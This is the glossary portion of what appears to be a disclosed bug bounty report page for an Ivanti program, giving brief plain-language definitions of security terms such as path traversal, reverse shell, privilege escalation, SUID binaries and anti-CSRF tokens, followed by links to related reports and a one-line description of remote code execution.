  • Path traversal: making a program open a file outside its intended folder by slipping ../ into a file name.
  • Perl: a programming language often used for web scripts.
  • Privilege escalation: gaining more permissions than you were given, for example going from a normal user to root.
  • Regex (regular expression): a pattern used to test text; a loose one matches far more than intended.
  • Remote code execution (RCE): making a server run commands of your choosing from a distance.
  • Reverse shell: a connection where the victim machine calls back to the attacker and hands over a command prompt.
  • root: the all-powerful account on a Linux system, able to read and change anything.
  • Session: the period during which a server remembers that you are logged in, usually tracked by a cookie.
  • Shell: the program that reads a line of text as a command and runs it.
  • SUID binary: a program marked to run with the permissions of its owner rather than of the person who launched it.
  • Template: a page skeleton with placeholders that the server fills in before sending it.
  • URL encoding: how special characters travel inside a URL, for example / written as %2F.
  • User: an account a program runs under.
  • VPN: a private tunnel between a computer and a company network, routed through a server that checks who you are.
  • xsauth / anti-CSRF token: a random value placed in forms and checked on arrival so another site cannot forge a request.

More from Ivanti

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.